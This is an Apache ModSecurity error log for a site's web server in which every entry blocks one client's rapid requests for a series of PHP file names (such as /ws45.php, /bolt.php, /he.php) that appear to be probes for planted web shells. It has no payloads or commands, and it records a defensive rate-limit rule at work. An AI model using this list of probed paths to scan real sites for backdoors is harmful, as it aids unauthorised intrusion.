[Wed Jan 21 00:08:57.902805 2026] [:error] [pid 56360:tid 56375] [client 20.230.68.25:18853] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aW-omU1J8CD1rR-wXXt9JgAAAQ0"]
[Wed Jan 21 00:08:58.340935 2026] [:error] [pid 56326:tid 56346] [client 20.230.68.25:18877] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aW-omhA6mi8Uwf45Uy9Y3wAAANI"]
[Wed Jan 21 00:08:58.793414 2026] [:error] [pid 54260:tid 54318] [client 20.230.68.25:18828] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aW-omtg7jS3jmpUN0WA7oAAAAUo"]
[Wed Jan 21 00:08:59.244422 2026] [:error] [pid 54382:tid 54404] [client 20.230.68.25:4053] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aW-om0TJlZ9SJ6sBOEvdYwAAABM"]
[Wed Jan 21 00:08:59.720861 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.25:18870] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aW-om_ZJhGdrcqZICT-1ugAAAZM"]
[Wed Jan 21 00:09:00.173605 2026] [:error] [pid 17295:tid 17319] [client 20.230.68.25:18836] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aW-onPZJhGdrcqZICT-1uwAAAZU"]
[Wed Jan 21 00:09:00.599740 2026] [:error] [pid 17340:tid 17371] [client 20.230.68.25:18906] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aW-onPAsOSYVgw_35t3JSwAAAk8"]
[Wed Jan 21 00:09:01.055589 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.25:4045] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aW-onfZJhGdrcqZICT-1wAAAAY4"]
[Wed Jan 21 00:09:01.598507 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:18863] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aW-onfZJhGdrcqZICT-1wgAAAZQ"]
[Wed Jan 21 00:09:02.036898 2026] [:error] [pid 54259:tid 54301] [client 20.230.68.25:4069] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aW-ong2q1USrePnOoFQXtwAAAJg"]
[Wed Jan 21 00:09:02.485034 2026] [:error] [pid 54259:tid 54295] [client 20.230.68.25:18854] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aW-ong2q1USrePnOoFQXuAAAAJI"]
[Wed Jan 21 00:09:02.917905 2026] [:error] [pid 63647:tid 63655] [client 20.230.68.25:18860] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aW-onlUaYw1xHOoaFFI4-QAAAgY"]
[Wed Jan 21 00:09:03.494439 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.25:18829] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aW-on_ZJhGdrcqZICT-1xgAAAYw"]
[Wed Jan 21 00:09:04.015711 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.25:4057] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aW-ooPAsOSYVgw_35t3JUgAAAkw"]
[Wed Jan 21 00:09:04.477752 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.25:4034] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aW-ooPZJhGdrcqZICT-1yAAAAY0"]
[Wed Jan 21 00:09:04.932874 2026] [:error] [pid 54259:tid 54290] [client 20.230.68.25:18930] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aW-ooA2q1USrePnOoFQXuQAAAI0"]
[Wed Jan 21 00:09:05.356924 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.25:4086] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aW-oodg7jS3jmpUN0WA7pAAAAVc"]
[Wed Jan 21 00:09:05.810387 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:18834] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aW-oofZJhGdrcqZICT-1zQAAAZA"]
[Wed Jan 21 00:09:06.306891 2026] [:error] [pid 54259:tid 54281] [client 20.230.68.25:4031] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "aW-oog2q1USrePnOoFQXuwAAAIQ"]
[Wed Jan 21 00:09:06.754567 2026] [:error] [pid 54259:tid 54291] [client 20.230.68.25:4081] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "aW-oog2q1USrePnOoFQXvAAAAI4"]
[Wed Jan 21 00:09:07.275826 2026] [:error] [pid 56326:tid 56336] [client 20.230.68.25:18904] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "aW-ooxA6mi8Uwf45Uy9Y4QAAAMg"]
[Wed Jan 21 00:09:07.725497 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.25:3999] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "aW-oo_AsOSYVgw_35t3JYAAAAlE"]
[Wed Jan 21 00:09:08.232793 2026] [:error] [pid 63647:tid 63661] [client 20.230.68.25:18826] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aW-opFUaYw1xHOoaFFI4_AAAAgw"]
[Wed Jan 21 00:09:08.689750 2026] [:error] [pid 63647:tid 63656] [client 20.230.68.25:18833] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aW-opFUaYw1xHOoaFFI5AAAAAgc"]
[Wed Jan 21 00:09:09.138773 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.25:18855] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aW-opfZJhGdrcqZICT-11gAAAYs"]
[Wed Jan 21 00:09:09.545970 2026] [:error] [pid 17340:tid 17377] [client 20.230.68.25:18925] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aW-opfAsOSYVgw_35t3JZgAAAlU"]
[Wed Jan 21 00:09:10.013241 2026] [:error] [pid 54382:tid 54386] [client 20.230.68.25:4050] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aW-opkTJlZ9SJ6sBOEvdZgAAAAE"]
[Wed Jan 21 00:09:10.506176 2026] [:error] [pid 17295:tid 17302] [client 20.230.68.25:4052] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aW-opvZJhGdrcqZICT-13AAAAYQ"]
[Wed Jan 21 00:09:10.962439 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.25:18846] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aW-opvZJhGdrcqZICT-14AAAAYM"]
[Wed Jan 21 00:09:11.421187 2026] [:error] [pid 17295:tid 17313] [client 20.230.68.25:4060] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aW-op_ZJhGdrcqZICT-15AAAAY8"]
[Wed Jan 21 00:09:11.881596 2026] [:error] [pid 54260:tid 54319] [client 20.230.68.25:18905] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finny.php"] [unique_id "aW-op9g7jS3jmpUN0WA7rgAAAUs"]
[Wed Jan 21 00:09:12.331799 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.25:18918] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finny.php"] [unique_id "aW-oqFUaYw1xHOoaFFI5BAAAAhE"]
[Wed Jan 21 00:09:12.898120 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.25:4084] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finny.php"] [unique_id "aW-oqNg7jS3jmpUN0WA7sAAAAU0"]
[Wed Jan 21 00:09:13.367547 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.25:18941] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/finny.php"] [unique_id "aW-oqfZJhGdrcqZICT-18gAAAYk"]
[Wed Jan 21 00:09:13.841713 2026] [:error] [pid 8455:tid 8467] [client 20.230.68.25:4047] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws45.php"] [unique_id "aW-oqYJiHdPVtruynXDZFAAAA0o"]
[Wed Jan 21 00:09:14.263912 2026] [:error] [pid 56291:tid 56304] [client 20.230.68.25:4066] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws45.php"] [unique_id "aW-oqrXgW_1T5Nikxa0WrgAAAEk"]
[Wed Jan 21 00:09:14.777148 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.25:18922] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws45.php"] [unique_id "aW-oqvAsOSYVgw_35t3JcQAAAkY"]
[Wed Jan 21 00:09:15.247396 2026] [:error] [pid 56360:tid 56373] [client 20.230.68.25:18876] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws45.php"] [unique_id "aW-oq01J8CD1rR-wXXt9LgAAAQs"]
[Wed Jan 21 00:09:15.710738 2026] [:error] [pid 17340:tid 17360] [client 20.230.68.25:4089] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aW-oq_AsOSYVgw_35t3JdAAAAkQ"]
[Wed Jan 21 00:09:16.140374 2026] [:error] [pid 17340:tid 17372] [client 20.230.68.25:18835] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aW-orPAsOSYVgw_35t3JdQAAAlA"]
[Wed Jan 21 00:09:16.600871 2026] [:error] [pid 54382:tid 54401] [client 20.230.68.25:4041] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aW-orETJlZ9SJ6sBOEvdawAAABA"]
[Wed Jan 21 00:09:17.066062 2026] [:error] [pid 54382:tid 54389] [client 20.230.68.25:4076] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/build.php"] [unique_id "aW-orUTJlZ9SJ6sBOEvdbQAAAAQ"]
[Wed Jan 21 00:09:17.576372 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.25:4055] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws33.php"] [unique_id "aW-orfAsOSYVgw_35t3JdwAAAkw"]
[Wed Jan 21 00:09:18.120628 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.25:18929] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws33.php"] [unique_id "aW-oroJiHdPVtruynXDZFwAAA0U"]
[Wed Jan 21 00:09:18.602155 2026] [:error] [pid 17340:tid 17366] [client 20.230.68.25:18868] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws33.php"] [unique_id "aW-orvAsOSYVgw_35t3JeAAAAko"]
[Wed Jan 21 00:10:11.630453 2026] [:error] [pid 17340:tid 17372] [client 20.230.68.25:4093] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aW-o4_AsOSYVgw_35t3JyAAAAlA"]
[Wed Jan 21 00:10:12.147566 2026] [:error] [pid 63647:tid 63652] [client 20.230.68.25:18900] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aW-o5FUaYw1xHOoaFFI5QwAAAgM"]
[Wed Jan 21 00:10:12.604710 2026] [:error] [pid 63647:tid 63662] [client 20.230.68.25:4072] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aW-o5FUaYw1xHOoaFFI5RQAAAg0"]
[Wed Jan 21 00:10:13.091620 2026] [:error] [pid 56291:tid 56298] [client 20.230.68.25:4002] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aW-o5bXgW_1T5Nikxa0W1QAAAEM"]
[Wed Jan 21 00:10:13.673901 2026] [:error] [pid 56360:tid 56383] [client 20.230.68.25:3909] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aW-o5U1J8CD1rR-wXXt9bQAAARU"]
[Wed Jan 21 00:10:14.227361 2026] [:error] [pid 54382:tid 54389] [client 20.230.68.25:4037] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aW-o5kTJlZ9SJ6sBOEvdqwAAAAQ"]
[Wed Jan 21 00:10:14.710159 2026] [:error] [pid 56326:tid 56334] [client 20.230.68.25:3994] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aW-o5hA6mi8Uwf45Uy9ZEwAAAMY"]
[Wed Jan 21 00:10:15.206053 2026] [:error] [pid 56326:tid 56340] [client 20.230.68.25:4000] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aW-o5xA6mi8Uwf45Uy9ZFAAAAMw"]
[Wed Jan 21 00:10:15.747871 2026] [:error] [pid 54260:tid 54327] [client 20.230.68.25:3980] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/he.php"] [unique_id "aW-o59g7jS3jmpUN0WA8DwAAAVM"]
[Wed Jan 21 00:10:16.248494 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.25:4038] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/he.php"] [unique_id "aW-o6PAsOSYVgw_35t3JywAAAkU"]
[Wed Jan 21 00:10:16.732242 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.25:4078] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/he.php"] [unique_id "aW-o6PAsOSYVgw_35t3JzQAAAlE"]
